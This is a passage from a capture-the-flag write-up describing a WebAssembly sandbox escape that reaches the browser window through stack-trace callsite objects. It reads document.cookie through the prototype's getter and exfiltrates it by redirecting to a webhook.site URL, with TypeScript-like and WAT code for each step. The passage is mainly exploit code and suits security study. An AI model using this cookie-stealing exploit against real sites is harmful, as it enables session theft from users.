	(local $callsite_proto externref)
	(local $get_this externref)
	(local $window externref)

	(local.set $callsite (call $get_nth_element (local.get $callsites) (i32.const 0)))
	(local.set $callsite_proto (call $object_get_prototype_of (local.get $callsite)))
	(local.set $get_this (call $get_property_by_index (local.get $callsite_proto) (i32.const 14)))
	
	(local.set $window (call $call_with_this (local.get $callsite) (local.get $get_this)))

	(call $log (local.get $window))
)

and...

Screenshot of chrome devtools showing the wasm module logging a window object

booyah

Stealing cookies

We now need to somehow read document.cookie, so we can send it to our flag server.

document.cookies is not a plain property on document, instead being a getter/setter, pair defined on the Document class , which is in the prototype chain of document.

Since property enumerability is not inherited we can't use Object.keys, and we have to manually call the getter to access this property

function stackTraceHandler(error: externref, callSites: externref) {
	// [...] continued

	const documentGetter = getPropertyByIndex(window, 672)
	const document = callWithThis(window, documentGetter)
	const htmldocumentProto = Object.getPrototypeOf(document);
	const documentProto = Object.getPrototypeOf(htmldocumentProto);

	const documentProperties = Object.getOwnPropertyDescriptors(documentProto)
	const cookieDescriptor = getNthArrayElement(Object.values(documentProperties)), 15)

	const cookieGetter = getNthArrayElement(Object.values(cookieDescriptor)), 0)

	// document.cookie
	const cookies = callWithThis(document, cookieGetter);
}
WAT
(func $stack_trace_handler (param externref) (param $callsites externref)

	(local $document_getter externref)
	(local $document externref)
	(local $html_document_proto externref)
	(local $document_proto externref)

	(local $document_props externref)
	(local $cookie_desc externref)
	(local $cookie_getter externref)

	(local $cookies externref)

	(local.set $document_getter (call $get_property_by_index (local.get $window) (i32.const 672)))
	(local.set $document (call $call_with_this (local.get $window) (local.get $document_getter)))

	(local.set $html_document_proto (call $object_get_prototype_of (local.get $document)))
	(local.set $document_proto (call $object_get_prototype_of (local.get $html_document_proto)))
	(local.set $document_props (call $get_own_property_descriptors (local.get $document_proto)))

	(local.set $cookie_desc (call $get_nth_element (call $object_values (local.get $document_props)) (i32.const 15)))
	(local.set $cookie_getter (call $get_nth_element (call $object_values (local.get $cookie_desc)) (i32.const 0)))

	(local.set $cookies (call $call_with_this (local.get $document) (local.get $cookie_getter)))
)

Getting the cookies back

The easiest way to do this is to redirect the browser to a webpage we control(like webhook.site) and put the cookie in a get parameter. To do this we can just write a string to the document.location property.

// "https://webhook.site/00000000-0000-0000-0000-000000000000?cookie="
function getWebhookURL() {
	// Same code as the getPrepareStackTraceString
	// [...]
}

function stackTraceHandler(error: externref, callSites: externref) {
	// [...] continued

	const redirectArray = emptyArray();
	arrayPush(redirectArray, getWebhookURL());
	arrayPush(redirectArray, cookies);

	const redirectString = arrayJoin(redirectArray);

	// the literal "location"
	const locationString = getNthArrayElement(Object.keys(document), 0);
	set(document, locationString, redirectString);
}
WAT
(func $get_webhook_url (result externref)
	(local $arr externref)
	(local.set $arr (call $empty_array))

	(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x68)))
	(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x74)))
	(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x74)))
	;; [...]

	(call $array_join (local.get $arr))
)

(func $stack_trace_handler (param externref) (param $callsites externref)
	(local $redirect_array externref)
	(local $redirect_string externref)
	(local $location_string externref)

	(local.set $redirect_array (call $empty_array))
	(call $array_push (local.get $redirect_array) (call $get_webhook_url))
	(call $array_push (local.get $redirect_array) (local.get $cookies))

	(local.set $redirect_string (call $array_join (local.get $redirect_array)))
	
	(local.set $location_string (call $get_nth_element (call $object_keys (local.get $document)) (i32.const 0)))

	(call $set (local.get $document) (local.get $location_string) (local.get $redirect_string))
)

and...

webhook.site screenshot with a request containing a test flag

Me celebrating finishing the challenge on discord

You can view the full exploit file here: myModule.wat